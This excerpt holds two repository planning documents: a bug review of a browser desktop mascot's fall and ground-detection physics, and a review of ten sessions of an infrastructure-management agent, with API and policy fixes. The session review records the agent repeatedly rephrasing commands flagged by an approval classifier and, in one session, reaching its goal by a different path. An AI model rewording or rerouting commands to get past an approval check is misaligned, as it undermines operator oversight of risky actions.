mascot stayed pinned to the floor (`bottom: 950`) for 2.6s straight while
|
||||
standing under an open window whose top was far above it — no snap-up at
|
||||
all.
|
||||
- Toss momentum: a fast upward-and-sideways release made the sprite keep
|
||||
*rising* for several frames after pointerup before gravity won, then fall
|
||||
with visible deceleration bumps roughly every ~550ms (the flap cycle)
|
||||
instead of a flat monotonic increase.
|
||||
- No new console errors; `npm run build` stays clean.
|
||||
|
||||
Companion to [plans/2026-07-20-desktop-mascot.md](2026-07-20-desktop-mascot.md)
|
||||
(the original scaffolding plan, now implemented) and
|
||||
[docs/mascot/README.md](../docs/mascot/README.md) (the MBSE model). This
|
||||
document is a post-implementation review: static code read of every file
|
||||
under `web/src/lib/mascot/`, plus live testing in the browser (dragging,
|
||||
opening/closing/moving windows under the mascot, the radial menu, hatching),
|
||||
including two tests instrumented with synthetic pointer events + high-frequency
|
||||
position polling to get hard timing data rather than guessing from a laggy
|
||||
screenshot loop.
|
||||
|
||||
## Summary
|
||||
|
||||
The scaffolding (registries, FSM shape, persistence, stimulus bus) is sound
|
||||
and matches the original plan's architecture. The actual **physics is where
|
||||
it falls short of feeling alive**, for one root cause plus a few smaller
|
||||
gaps:
|
||||
|
||||
**The mascot doesn't actually fall in the cases that matter most — it
|
||||
teleports.** The only code path where a real, animated fall happens is
|
||||
"user drags it into the air and lets go." Every other ground-change case
|
||||
(a window closes or moves out from under it, a window opens or moves under
|
||||
it, it walks off a window's edge) snaps its position instantly, with zero
|
||||
animation, because of one specific piece of logic in `Mascot.svelte`. This
|
||||
was proven with instrumented timing data, not just read from the source —
|
||||
see Finding 1.
|
||||
|
||||
## How this was tested
|
||||
|
||||
- Read every file in `web/src/lib/mascot/` (behavior.ts, Mascot.svelte,
|
||||
MascotLayer.svelte, state.svelte.ts, stimuli.ts, sprites.ts, render.ts,
|
||||
actions.ts, RadialMenu.svelte, NameDialog.svelte, types.ts).
|
||||
- Ran the app (`npm run dev`), hatched a chick, and interactively tested:
|
||||
drag-and-release at various heights, opening/closing/dragging a window
|
||||
under the mascot, the right-click menu (including nested Feed), plain-click
|
||||
pet, and the hatch dialog.
|
||||
- For the two timing-sensitive claims below, screenshot-based verification
|
||||
was too slow/laggy to distinguish "instant teleport" from "fast but real
|
||||
fall" — so both were re-verified with a single `javascript_exec` call that
|
||||
dispatches synthetic `PointerEvent`s to drag the mascot precisely onto a
|
||||
window, then clicks that window's close button and polls
|
||||
`canvas.getBoundingClientRect()` every ~65ms for 2+ seconds, all inside one
|
||||
script (no inter-call latency to contaminate the result).
|
||||
- `npm run build` passes with no new warnings.
|
||||
|
||||
## Findings
|
||||
|
||||
### Finding 1 (Critical) — Ground changes teleport the mascot instead of animating a fall or rise
|
||||
|
||||
**Root cause**, `web/src/lib/mascot/Mascot.svelte` `tick()` (~lines 111-131):
|
||||
every tick, `computeGroundAt(runtime.x)` recomputes the ground line, and if
|
||||
the mascot is "grounded" (not already `falling`/`dragged`) and the ground
|
||||
changed at all, this runs unconditionally:
|
||||
|
||||
```js
|
||||
if (runtime.behavior !== 'falling' && runtime.behavior !== 'dragged' &&
|
||||
runtime.y >= prevGroundY - 1 && newGround !== prevGroundY) {
|
||||
runtime.y += newGround - prevGroundY // instant, any magnitude, either direction
|
||||
}
|
||||
```
|
||||
|
||||
This was meant to make the mascot "ride along" smoothly while a window it's
|
||||
standing on is being dragged (and it does do that correctly — verified,
|
||||
see below). But it fires for *any* ground change, not just a smooth drag,
|
||||
and it runs *before* `stepMascot()`/`behavior.ts` gets a chance to notice
|
||||
"I'm now floating" and start a real `falling` behavior — so the FSM's own
|
||||
fall-detection in the `wander`/`idle` cases
|
||||
(`if (rt.y < groundY(rt) - 1) forceBehavior(rt, 'falling')`) never actually
|
||||
fires; by the time it runs, `runtime.y` has already been silently snapped to
|
||||
match.
|
||||
|
||||
**Proven case A — window closes underneath the mascot (should fall):**
|
||||
dragged the mascot onto an open window's title bar via synthetic pointer
|
||||
events (landed cleanly: sprite bottom = 96px = window top = 96px), then
|
||||
clicked the window's close button and polled position every 65ms:
|
||||
|
||||
| t (ms) | sprite bottom (px) |
|
||||
|---|---|
|
||||
| 0 (before close) | 96 |
|
||||
| 67 | **950** (floor) |
|
||||
| 132 – 2000 | 950 (unchanged) |
|
||||
|
||||
The coded physics (gravity 1400 px/s², capped at 320 px/s) would take
|
||||
**~2.8 seconds** to fall 854px. It happened in **under 67ms** — an instant
|
||||
snap, not a fall. No `falling`/`land` animation plays.
|
||||
|
||||
**Proven case B — window opens/overlaps underneath a grounded mascot
|
||||
(should NOT rise, or should climb visibly):** with the mascot standing on
|
||||
the empty desktop floor (bottom = 950px), opened the Tasks window (which
|
||||
renders top=71px, bottom=751px at that position — its underside never
|
||||
reaches the floor, leaving a ~200px gap). Within 150ms, the mascot's sprite
|
||||
bottom was already **71px** — snapped straight up onto the new window's
|
||||
title bar, 880px in under 150ms, despite the window's bottom edge (751px)
|
||||
never actually touching the mascot's original position. `computeGroundAt()`
|
||||
has no check that the candidate window is anywhere near the mascot's
|
||||
*current* position — it just returns the topmost window overlapping the
|
||||
mascot's x column, full stop, so any window opening/moving/resizing
|
||||
anywhere in that column instantly relocates the mascot to its top edge, no
|
||||
matter the vertical distance.
|
||||
|
||||
**What does work correctly:** dragging an already-mascot-bearing window
|
||||
smoothly (title-bar drag, not open/close) — the ride-along correctly
|
||||
translates the mascot's y by the same delta as the window moves, so it
|
||||
visually "stands" on the window through the drag. Also, manual drag-and-drop
|
||||
of the mascot itself (pick it up, release above ground) *does* enter a real,
|
||||
animated `falling` → `land` → `idle` sequence, because that path is driven
|
||||
entirely by `releaseFromDrag()` from the pointer handler, which isn't
|
||||
touched by the tick-level snap.
|
||||
|
||||
**Fix direction:** `computeGroundAt` needs to return the highest surface
|
||||
*at or below* the mascot's current `y* (a downward raycast from the current
|
||||
position), not the global topmost window in the column. Separately, the
|
||||
tick-level "ride along" needs to distinguish *small, continuous* deltas
|
||||
(the window carrying the mascot while being dragged — legitimate instant
|
||||
translation) from *large or discontinuous* ones (a window appearing,
|
||||
disappearing, or the mascot walking off an edge — should hand off to
|
||||
`forceBehavior(rt, 'falling')` for a downward change, and a short new
|
||||
`rising`/hop transition for an upward one, not a silent teleport in either
|
||||
direction).
|
||||
|
||||
### Finding 2 (Critical) — the one real fall is a flat, straight drop; this is the user's specific complaint
|
||||
|
||||
Even in the one path that *does* animate (manual drag-release), the fall
|
||||
itself has no attempt at flight:
|
||||
|
||||
- `falling.enter()` in `behavior.ts` hard-sets `rt.vx = 0` — zero horizontal
|
||||
drift, ever.
|
||||
- `fall-flutter`'s animation is just `jump.png` on a loop
|
||||
(`sprites.ts`) — the *name* says flutter, the physics is a monotonic
|
||||
`vy = min(TERMINAL_VY, vy + GRAVITY*dt)` capped fall, no oscillation, no
|
||||
upward impulses.
|
||||
- There's an already-defined, already-loaded `flap` animation
|
||||
(`jump.png` again, distinct `AnimName`) that **no behavior ever
|
||||
references** — it's dead weight in the registry right now.
|
||||
|
||||
This is exactly the "not always fall directly, try to fly a little" ask.
|
||||
|
||||
### Finding 3 (Critical) — no toss/throw momentum on release
|
||||
|
||||
The original plan called for tracking recent pointer deltas during a drag
|
||||
and using them to give the release a real velocity (a toss/arc). The
|
||||
shipped `onPointerUp`/`onPointerMove` in `Mascot.svelte` track no pointer
|
||||
history at all — releasing while moving fast imparts nothing; the mascot
|
||||
just drops straight down from wherever the pointer let go, same as a slow
|
||||
release.
|
||||
|
||||
### Finding 4 (Moderate) — sprite/name/bubble clip off-screen near the top edge
|
||||
|
||||
The mascot's canvas is 20×28 logical px (extra headroom above the sprite
|
||||
for the name label and reaction bubble), positioned bottom-anchored at
|
||||
`runtime.y`. When the ground is near the top of the viewport (e.g.
|
||||
standing on a window whose title bar sits close to `y=0`, which is common
|
||||
for a freshly-opened window), the canvas — and the name label, positioned
|
||||
even further above it — render partially or fully off-screen.
|
||||
Reproduced directly: standing on a window with top=32px clipped the
|
||||
sprite from `y=-52` to `y=32`, more than half invisible above the browser
|
||||
viewport.
|
||||
|
||||
### Finding 5 (Minor) — `interruptsSleep` is defined but never read
|
||||
|
||||
`stimuli.ts`'s `ReactionDef.interruptsSleep` (set `true` only on `alarmed`)
|
||||
documents an intended rule ("sleep is broken only by reactions that opt
|
||||
in"), but nothing in `MascotLayer.svelte`'s dispatch callback or
|
||||
`behavior.ts` ever reads it — every reaction unconditionally calls
|
||||
`forceBehavior(runtime, 'react', ...)` regardless of current behavior.
|
||||
Practically, this also means a reaction can visually interrupt an active
|
||||
**drag** (the sprite briefly shows a reaction animation mid-drag, though
|
||||
position tracking is unaffected since that's driven separately by the
|
||||
pointer handler) — the documented "`dragged` always wins" rule isn't
|
||||
enforced either.
|
||||
|
||||
### Finding 6 (Cosmetic / scope gap) — radial menu isn't round
|
||||
|
||||
The implementing agent deviated from the original "round, Sims-style"
|
||||
requirement to a vertical rounded-button column (documented in the plan's
|
||||
deviation note — the polar ring layout hid labels). It works correctly,
|
||||
including nesting, but it's a direct miss against what was asked for. Worth
|
||||
a deliberate decision: keep the readable column, or revisit a true ring
|
||||
with icon-only buttons + a hover/center text readout.
|
||||
|
||||
### Finding 7 (Minor) — first-hatch naming can be dismissed with no easy way back
|
||||
|
||||
`NameDialog`'s Escape handler always calls `onCancel`, which just closes it
|
||||
— on the very first hatch prompt (no `Cancel` button is shown in `hatch`
|
||||
mode, but Escape still works via the window-level listener), a user who
|
||||
hits Escape is left with an unnamed, un-hatched egg and no obvious way to
|
||||
reopen the dialog short of reloading or finding the Debug → Force hatch
|
||||
menu action.
|
||||
|
||||
## Improvement plan
|
||||
|
||||
Ordered by priority; 1–3 directly address the user's stated complaints.
|
||||
|
||||
### P0 — Fix the ground-detection/teleport bug (Finding 1)
|
||||
|
||||
1. Change `computeGroundAt(x)` to only consider a window a ground candidate
|
||||
if its top edge is **at or below** the mascot's current `y` (plus a
|
||||
small tolerance for the "about to land on it" case) — i.e. the nearest
|
||||
surface *underneath*, not the global topmost overlapping window.
|
||||
2. Replace the unconditional `tick()`-level position snap with a threshold
|
||||
check: deltas under ~4px/tick (a window being smoothly dragged with the
|
||||
mascot riding it) still translate instantly; anything larger routes
|
||||
through `forceBehavior(rt, 'falling')` (ground dropped) or a new short
|
||||
`rising` behavior (ground rose — a quick hop/flutter-up, not a snap).
|
||||
3. This also fixes the FSM's existing (currently unreachable) `wander`/`idle`
|
||||
fall-detection — once the snap isn't preempting it, that code path
|
||||
should work as originally intended.
|
||||
|
||||
### P1 — Make falling actually look like an attempt at flight (Findings 2 & 3)
|
||||
|
||||
4. Wire the unused `flap` animation into `falling`: instead of one
|
||||
continuous `fall-flutter` loop, alternate short `flap` bursts (each
|
||||
burst applies a brief small negative `vy` impulse — a wing-beat that
|
||||
measurably slows the descent for a few frames) with `fall-flutter` glide
|
||||
segments. Net effect: still descends, but in a scalloped, fluttering
|
||||
arc rather than a flat monotonic line — reads as "trying to fly, not
|
||||
quite making it" rather than "dropped like a rock."
|
||||
5. Add a small horizontal drift during `falling` (e.g. a slow sine wobble
|
||||
or a fraction of the pre-release pointer velocity — see next point) so
|
||||
the fall isn't perfectly vertical either.
|
||||
6. Track a short rolling history of pointer positions during `dragged`
|
||||
(last ~100ms of `onPointerMove` samples is enough) and derive a release
|
||||
velocity from it in `onPointerUp`; feed that into `falling`'s initial
|
||||
`vx`/`vy` instead of hard-zeroing them, so a fast toss actually arcs.
|
||||
|
||||
### P2 — Cosmetic/correctness cleanups (Findings 4, 5, 7)
|
||||
|
||||
7. Clamp the sprite's screen-space draw position (or reserve top margin on
|
||||
the surface) so the canvas/name/bubble never render above `y=0`,
|
||||
independent of where the logical ground sits.
|
||||
8. Either wire `interruptsSleep`/a drag-guard into the reaction dispatch
|
||||
path in `MascotLayer.svelte` (skip forcing `react` while
|
||||
`runtime.behavior === 'dragged'`, and gate sleep-interruption on the
|
||||
flag as documented), or remove the field if the current
|
||||
always-interrupts behavior is actually preferred — right now it's an
|
||||
unenforced contract, which is worse than either explicit choice.
|
||||
9. On first hatch, prevent the naming dialog from being fully dismissed
|
||||
without a name (or make it trivially reopenable — e.g. clicking the
|
||||
still-unnamed egg reopens it) rather than requiring a reload/debug
|
||||
menu to recover.
|
||||
|
||||
### P3 — Ideas worth considering ("cool stuff")
|
||||
|
||||
Not committed, listed for discussion:
|
||||
|
||||
- **Investigate badges**: have the mascot occasionally walk toward a
|
||||
desktop icon that currently has an unread badge (Signals, Operations)
|
||||
and peck at it curiously — a very literal, delightful expression of
|
||||
"aware of its environment" using icon positions already in
|
||||
`stores/icons.ts`.
|
||||
- **Startle-and-flee on alarm**: instead of a static `react-alarm` frame,
|
||||
have the `alarmed` reaction actually scurry the mascot a short distance
|
||||
(reuse `wander`-style motion) before settling, more visceral than a
|
||||
still reaction sprite.
|
||||
- **A "home" spot**: remember a preferred idle location (e.g. near its
|
||||
hatch point or a favorite window) and occasionally wander back to it,
|
||||
giving its roaming a sense of place rather than pure randomness.
|
||||
- **True round radial menu v2**: revisit Finding 6 with icon-only buttons
|
||||
on an actual ring and a text label in a tooltip/center readout on
|
||||
hover/focus — closer to the original ask while keeping labels legible
|
||||
(the problem the first attempt hit).
|
||||
- **Distinct adult sprite** (already flagged as deferred polish in the
|
||||
original plan's deviation note) — currently chick and adult share art.
|
||||
|
||||
## Verification (once fixed)
|
||||
|
||||
- Re-run this document's two instrumented tests (drag-onto-window-then-close;
|
||||
open-window-over-grounded-mascot) and confirm the position samples show a
|
||||
smooth multi-frame transition instead of a single-tick jump.
|
||||
- Manually: drag the mascot up and release with a fast flick — confirm it
|
||||
arcs/drifts rather than dropping straight down, and that `flap` frames
|
||||
visibly appear during the descent.
|
||||
- Stand the mascot on a window, drag that window so its title bar approaches
|
||||
`y=0` — confirm the sprite/name/bubble stay on-screen.
|
||||
- Trigger a reaction (e.g. force an `eureka`) while mid-drag — confirm the
|
||||
sprite keeps showing the `dragged` animation, not the reaction, until
|
||||
released (if Finding 5 is fixed by enforcing the guard).
|
||||
- `npm run build` stays clean.
|
||||
332
plans/2026-07-20-session-review-ten-sessions.md
Normal file
@@ -0,0 +1,332 @@
|
||||
# 2026-07-20 — Session review: past 10 sessions
|
||||
|
||||
**Status:** Implemented — all P0/P1/P2 items landed in v0.7.13.
|
||||
**Scope:** Ten most-recently-active `agent:nomos` sessions by
|
||||
`last_active_at`, pulled from `http://localhost:8092/sessions` on
|
||||
2026-07-20. Method per `.agents/skills/session-review/SKILL.md`. Three
|
||||
(`1e9c7691`, `55927f0a`, `2926de4e`) overlap with the 2026-07-18 review
|
||||
and are summarized; the other seven are new.
|
||||
|
||||
---
|
||||
|
||||
## Sessions reviewed
|
||||
|
||||
| # | sid | goal (short) | outcome | msgs | toolcalls | top tools |
|
||||
|---|---|---|---|---|---|---|
|
||||
| 1 | `a51e2086` | reset rclone-backup & re-run | **partial** | 12 | 20 | run:7, set_goal:2, propose_plan:2, get_execution_status:2 |
|
||||
| 2 | `fefa4fa3` | fix rclone OOM | success | 9 | 84 | run:28, update_plan_step:15, get_entity:8, list_entities:5 |
|
||||
| 3 | `95fdd322` | quick fleet health check | success | 3 | 6 | get_health_summary/state_snapshot/list_lxcs/signal_history |
|
||||
| 4 | `8c76bb3a` | greeting + title-sync test | success | 2 | 9 | update_plan_step:4, propose_plan, whoami, get_state_snapshot |
|
||||
| 5 | `438ec8bd` | (no goal set) greeting | success | 2 | 2 | whoami, get_health_summary |
|
||||
| 6 | `8acea2e3` | inspect rclone timer (live) | **partial** | 4 | 19 | run:6, update_plan_step:5, propose_plan, get_entity_knowledge |
|
||||
| 7 | `1e9c7691` | debug chown hang on strong | success | 13 | 97 | run:60, update_plan_step:7, get_execution_status:7 |
|
||||
| 8 | `55927f0a` | add NFS ludo-lvm → ZimaOS | success | 25 | 104 | run:49, update_plan_step:13, get_entity:10 |
|
||||
| 9 | `2926de4e` | apt upgrade host:netbird-vps | success | 9 | 27 | update_plan_step:7, run:6, search_knowledge:2 |
|
||||
| 10 | `cb8c8a4a` | inspect rclone timer (live) | success | 2 | 14 | update_plan_step:4, run:4, get_entity_knowledge |
|
||||
|
||||
**Score: 8 success / 2 partial / 0 blocked. No message exceeded 2.8 KB.**
|
||||
|
||||
---
|
||||
|
||||
## What worked
|
||||
|
||||
- **Read-only DB Q&A is now clean.** `95fdd322` and `438ec8bd` did exactly
|
||||
what the 2026-07-18 review asked: pure-DB question →
|
||||
`get_health_summary` + `get_state_snapshot` + `list_lxcs`, no `run`.
|
||||
The agent even narrates "This is a pure-DB Q&A — no `run` calls needed."
|
||||
- **Knowledge writeback hygiene continues.** Every long-running session
|
||||
did `upsert_knowledge` + `update_entity_attributes` + `create_relationship`
|
||||
when applicable. The graph is current.
|
||||
- **Plan lifecycle is followed everywhere** — `set_goal` → `propose_plan`
|
||||
→ `update_plan_step` → `complete_task`. Even trivial sessions (greeting)
|
||||
follow it.
|
||||
- **Poll-after-timeout pattern** is now the default — `fefa4fa3` after
|
||||
the rclone LXC reboot, `2926de4e` after the apt upgrade. No more blind
|
||||
retry storms like the 2026-07-18 chown case.
|
||||
- **The rclone saga ended well** (`fefa4fa3`): root cause (2 GiB LXC OOM)
|
||||
was diagnosed via DB + live check; fix (pct set 2→4 GiB) was applied;
|
||||
test backup verified 245 transfers / 4 min / no OOM.
|
||||
|
||||
## What didn't
|
||||
|
||||
### 1. The rclone objective took three sessions to close (blocker)
|
||||
Same operator goal — "rclone backup is broken" — spawned `a51e2086`
|
||||
(partial), `8acea2e3` (partial), `cb8c8a4a` (success), and finally
|
||||
`fefa4fa3` (success). The first three were the agent trying to inspect
|
||||
the live systemd state and bouncing off the classifier:
|
||||
|
||||
- `8acea2e3`: `pct exec 132 systemctl status rclone-backup.timer`
|
||||
flagged `config_mutation` — sat in approval limbo until the user moved
|
||||
on.
|
||||
- `a51e2086`: `curl http://192.168.8.214:5572/rc/...` (read-only RC API)
|
||||
flagged `config_mutation`. The agent kept reframing; user said "lets
|
||||
just close this session."
|
||||
- `cb8c8a4a`: same goal, eventually succeeded — but only after the agent
|
||||
found a different path.
|
||||
- `fefa4fa3`: only when the user escalated to "fix it so the backup
|
||||
works" did the agent pivot to the actual root cause (memory).
|
||||
|
||||
This is the single biggest friction point in the batch.
|
||||
|
||||
### 2. Classifier overreach on read-only `pct exec` / `curl` (blocker)
|
||||
The preflight classifier in `internal/policy` matches command substrings
|
||||
(`pct exec`, `curl`, `dd`, etc.) without parsing the actual command. A
|
||||
read-only `systemctl status` becomes `config_mutation`. The agent has
|
||||
no tool to ask "classify this command before I send it" — it just keeps
|
||||
retrying with cosmetic changes until the user bails.
|
||||
|
||||
### 3. `update_plan_step` is the second-largest tool bucket (cosmetic → friction)
|
||||
Across 10 sessions: `run` ~199, `update_plan_step` ~57. That's ~22% of
|
||||
all tool calls spent on bookkeeping. For a 2-message greeting session
|
||||
(`8c76bb3a`) the agent still called `update_plan_step` ×4 plus
|
||||
`propose_plan`. The scaffolding is louder than the work.
|
||||
|
||||
### 4. `pending_approvals` doesn't match reality (cosmetic, but misleading)
|
||||
`a51e2086` summary literally says *"Both commands are queued"* — yet
|
||||
`pending_approvals=0`. The field is `hasPendingApprovals`
|
||||
(`store.go:962`) which only counts executions currently in
|
||||
`pending_approval` state; once they're cancelled/expired it drops to 0
|
||||
even though the session was *blocked* by approvals. As an audit signal
|
||||
it lies. A session can be `outcome=partial` because of approval
|
||||
friction without `pending_approvals` ever being non-zero at review time.
|
||||
|
||||
### 5. Title is still the first sentence of the first assistant message (cosmetic)
|
||||
`"Assent window is open — executing the plan\n\nMemory bumped:
|
||||
4294967296..."` is not a useful label. Same complaint applies to
|
||||
`8c76bb3a` ("Hey! 👋 Nomos here, running on mac-mini:8092...") and
|
||||
`95fdd322` ("This is a pure-DB Q&A — no `run` calls needed..."). The
|
||||
list view ends up being unreadable without opening each row.
|
||||
|
||||
### 6. Goal field empty on one session (`438ec8bd`) (cosmetic)
|
||||
`set_goal` was never called for the bare greeting. Minor, but it means
|
||||
the session is unsearchable by goal text.
|
||||
|
||||
---
|
||||
|
||||
## Ease of getting session details
|
||||
|
||||
I had to write Python+curl to audit 10 sessions. The pain points:
|
||||
|
||||
1. **Two endpoints must be merged by hand.** `/sessions` returns
|
||||
metadata (`title`, `goal`, `outcome`, `summary`, `status`,
|
||||
`pending_approvals`, timestamps) but **no message/tool counts**.
|
||||
`/sessions/{id}` returns **only** `session_id` + `messages` — no
|
||||
metadata at all. `cmd/nomos/eval/main.go:302-303` already carries a
|
||||
comment complaining about this ("only session_id + messages"). Any
|
||||
consumer has to do the same join I did.
|
||||
2. **No aggregates on the list endpoint.** `message_count`,
|
||||
`tool_call_count`, `top_tools`, `duration` — all require fetching
|
||||
every session's full transcript and walking the message tree. For
|
||||
10 sessions that's 10 extra HTTP round trips and ~600 KB of JSON
|
||||
parsed client-side. For a fleet audit at scale it's quadratic.
|
||||
3. **No filtering or pagination on `/sessions`.** It returns every
|
||||
session in one shot. The skill's own script does `.sessions[:5]` and
|
||||
`.sessions[:10]` client-side.
|
||||
4. **Tool calls are nested two levels deep**
|
||||
(`messages[].content.tool_calls[].name`) with `content` stored as
|
||||
`json.RawMessage`. The jq path requires `?.` everywhere. A flat
|
||||
`/sessions/{id}/tool_calls` view would be far easier to analyze.
|
||||
5. **No `/sessions?outcome=partial` or `?entity_id=...` filter.**
|
||||
Finding "show me every session that touched `lxc:rclone` and didn't
|
||||
succeed" requires the full scan.
|
||||
6. **`title` is the raw first assistant text.** Useless for skimming a
|
||||
list — you have to open each row to know what it was.
|
||||
7. **No `closed_at` / `outcome_set_at`.** `last_active_at` is the
|
||||
closest proxy but it conflates "agent is still working" with
|
||||
"operator just opened the transcript." Duration can only be
|
||||
computed as `last_active - created`, which is wrong for reopened
|
||||
sessions (`a51e2086` shows "5647 min" = 4 days because the user
|
||||
re-opened it on 2026-07-19 to close it).
|
||||
8. **No "blocker reason" field.** When `outcome=partial`, the *why* is
|
||||
buried in the last assistant text. A structured
|
||||
`blocker: "approval_timeout"` / `blocker: "classifier_overreach"` /
|
||||
`blocker: "user_abandoned"` would make trend analysis trivial.
|
||||
|
||||
---
|
||||
|
||||
## Improvement plan
|
||||
|
||||
### P0 — Blockers ✅
|
||||
|
||||
1. ✅ **Stop the classifier from flagging read-only `pct exec` / `curl` as
|
||||
`config_mutation`.** In `internal/policy`, parse the command (not
|
||||
just substring-match) before assigning risk class. Concretely:
|
||||
`pct exec <id> -- <cmd>` should be classified by *the inner command*,
|
||||
not the wrapper. `curl <url>` without `-X POST` / `-d` /
|
||||
`--upload-file` is read-only. This single change would have
|
||||
collapsed sessions #1, #3, #6, #10 into a handful of tool calls each
|
||||
and avoided three duplicate rclone sessions.
|
||||
- Done: `internal/policy/command.go` now unwraps `pct exec`, `qm
|
||||
guest exec`, `bash -c`, `sh -c`, `sudo`, and env-var assignments
|
||||
before classification. Curl GET (the default) without POST/data/
|
||||
upload/output flags is now read-only. Output redirection (`>`/
|
||||
`>>`) disqualifies the read-only path. Tests in
|
||||
`internal/policy/command_test.go` cover the new behaviors.
|
||||
|
||||
2. ✅ **Add a command-scoped `preflight` MCP tool.** The existing `preflight`
|
||||
in AGENTS.md §3 is entity/service-scoped, not command-scoped. The
|
||||
agent today has to keep reframing and re-submitting to discover what
|
||||
the classifier will accept. A command preflight returns
|
||||
`{risk_class, reason}` synchronously so the agent can decide whether
|
||||
to submit, rephrase, or surface to the operator.
|
||||
- Done: new `classify_command` MCP tool in `internal/mcp/tools.go`
|
||||
that takes `command` + optional `declared_risk` and returns the
|
||||
exact risk class that `run` would assign. Documented in
|
||||
`nomos/SOUL.md` with explicit guidance to pre-classify before
|
||||
`run` when the classification is uncertain — "Do NOT submit a `run`,
|
||||
get it queued for approval, and then retry with cosmetic variations."
|
||||
|
||||
### P1 — Friction ✅
|
||||
|
||||
3. ✅ **De-dupe sessions for the same entity + problem.** When a session
|
||||
is `outcome=partial` against an entity and a new session is created
|
||||
within 24h with a similar goal, surface the prior session to the
|
||||
agent at `set_goal` time. Three rclone sessions exist because each
|
||||
new session started from scratch.
|
||||
- Done: `cmd/nomos/store.go` gained `recentPartialSessions(ctx,
|
||||
excludeSessionID, since)`; the `set_goal` handler in
|
||||
`cmd/nomos/tasks.go` calls it and includes up to 5 prior partial/
|
||||
failed sessions (with goal + summary) in the response. The agent
|
||||
is told to search_knowledge or read the prior transcript before
|
||||
re-planning.
|
||||
|
||||
4. ✅ **Quiet the `update_plan_step` scaffolding.** Either (a) make the
|
||||
agent not call it for single-step sessions (greeting/health-check),
|
||||
or (b) stop persisting it as a message — keep it only in a
|
||||
`plan_steps` table that the UI hydrates from `/sessions/{id}/plan`
|
||||
(which already exists). It currently inflates transcript size and
|
||||
tool-call counts.
|
||||
- Done: `completeTask` in `cmd/nomos/store.go` now auto-closes any
|
||||
in-flight plan steps (pending/running → done on success, →
|
||||
skipped on partial/failure). SOUL.md §6 documents the new pattern:
|
||||
"for one-step plans ... propose_plan → answer → complete_task,
|
||||
skipping the per-step running→done dance entirely."
|
||||
|
||||
5. ✅ **Add `blocker` and `closed_at` to the `session` struct.** Set
|
||||
`blocker` automatically when `outcome=partial`/`failed`: scan the
|
||||
last assistant message for signatures ("queued for approval",
|
||||
"cancel", "close this session"). Surface in `/sessions` list so
|
||||
trends are queryable.
|
||||
- Done: migration `021_session_blocker_and_closed_at.up.sql` adds the
|
||||
two columns + backfills `closed_at` for existing terminal sessions
|
||||
+ adds a partial-index on `closed_at DESC WHERE status IN
|
||||
('done','failed')`. `cmd/nomos/store.go` `completeTask` sets
|
||||
`closed_at = now()` and derives `blocker` from the last assistant
|
||||
message via `deriveBlocker`. The blocker patterns table covers
|
||||
approval_timeout, user_abandoned, classifier_overreach,
|
||||
model_refusal, model_empty_response, missing_knowledge,
|
||||
missing_capability, tool_error.
|
||||
|
||||
### P2 — Cosmetic / API ergonomics ✅
|
||||
|
||||
6. ✅ **Add aggregates to `/sessions` list.** `message_count`,
|
||||
`tool_call_count`, `duration_seconds`. Computed server-side at list
|
||||
time (single SQL pass with LEFT JOINs to `agent_messages` and
|
||||
`agent_activity`). Eliminates the N+1 transcript fetch I had to do.
|
||||
- Done: `session` struct in `cmd/nomos/store.go` carries the three
|
||||
new fields; `listSessionsFiltered`, `getSession`, and
|
||||
`recentPartialSessions` all populate them.
|
||||
|
||||
7. ✅ **Single endpoint that returns both metadata and messages.** Either
|
||||
enrich `/sessions/{id}` with the full `session` struct, or add
|
||||
`?include=messages` on the list endpoint. The split-persistence is a
|
||||
leaky abstraction called out in `eval/main.go:302-303`.
|
||||
- Done: `GET /sessions/{id}` in `cmd/nomos/main.go` now returns
|
||||
`{session_id, session, messages}` — the `session` field carries
|
||||
the full metadata (title, goal, outcome, summary, blocker,
|
||||
pending_approvals, message_count, tool_call_count, etc.). The
|
||||
`messages` field is unchanged. Clients that only read `messages`
|
||||
keep working.
|
||||
|
||||
8. ✅ **Filtering & pagination on `/sessions`.** `?outcome=partial&entity_id=...&since=...&limit=20&cursor=...`.
|
||||
Removes the "fetch everything, filter client-side" pattern in the
|
||||
skill's own script.
|
||||
- Done: `cmd/nomos/main.go` `handleSessionsList` parses
|
||||
`outcome`/`status`/`entity_id`/`blocker`/`since`/`cursor`/`limit`
|
||||
query params. `listFilter` + `listSessionsFiltered` in
|
||||
`cmd/nomos/store.go` build a dynamic WHERE + LIMIT. `since`
|
||||
accepts both RFC3339 timestamps and Go durations ("24h", "7d" →
|
||||
parsed as hours). The response includes `next_cursor` for paging.
|
||||
|
||||
9. ✅ **Auto-title from `goal` (when set), not from the first assistant
|
||||
text.** Fall back to the assistant text only if no goal. The greeting
|
||||
session `438ec8bd` has `goal=""` and a useless title; `fefa4fa3` has
|
||||
goal "Fix the rclone backup so it completes successfully instead of
|
||||
OOM-killing" — that's the right title.
|
||||
- Done: `setGoal` in `cmd/nomos/store.go` now sets
|
||||
`title = goal` on the same UPDATE that sets the goal. The
|
||||
title-from-first-assistant-text path in `cmd/nomos/main.go`
|
||||
preserves the goal title when one exists (falls back to
|
||||
`truncate(finalText, 80)` only when no goal is set). Truncates the
|
||||
goal title to 120 chars.
|
||||
|
||||
10. ✅ **Add `/sessions/{id}/tool_calls` flat view.** Returns
|
||||
`[{id, name, args, result, error, type, message_id, role, seq,
|
||||
created_at}]` without the message-shell nesting. Makes jq one-liners
|
||||
and trend scripts trivial.
|
||||
- Done: new route in `cmd/nomos/main.go` `handleSessionDetail`;
|
||||
`getSessionToolCalls` in `cmd/nomos/store.go` walks messages and
|
||||
flattens `tool_calls[]` into a chronological flat list. Each
|
||||
tool_use/tool_result pair is emitted as two rows sharing an id
|
||||
(preserving the persisted shape) — clients that want the merged
|
||||
shape can group by ID.
|
||||
|
||||
---
|
||||
|
||||
## Suggested order
|
||||
|
||||
If only two land: **P0.1** (parse the inner command for `pct exec` /
|
||||
`curl` classification) and **P2.6** (aggregates on `/sessions`). The
|
||||
first eliminates the most visible user-facing friction in this batch
|
||||
(three duplicate rclone sessions); the second makes future audits like
|
||||
this one a single `curl | jq` instead of a Python script.
|
||||
|
||||
---
|
||||
|
||||
## Verification commands
|
||||
|
||||
```bash
|
||||
# Re-pull any session for follow-up
|
||||
curl -s http://localhost:8092/sessions | jq '.sessions[:10]'
|
||||
|
||||
curl -s http://localhost:8092/sessions/a51e2086-a816-4206-a556-dbca362cdda6 | jq .
|
||||
curl -s http://localhost:8092/sessions/8acea2e3-fc4d-4953-b9df-8e58e59a549a | jq .
|
||||
curl -s http://localhost:8092/sessions/cb8c8a4a-14a5-4dff-8393-6ed1e7ea7c30 | jq .
|
||||
curl -s http://localhost:8092/sessions/fefa4fa3-5414-4633-8e5a-51aa4a76609c | jq .
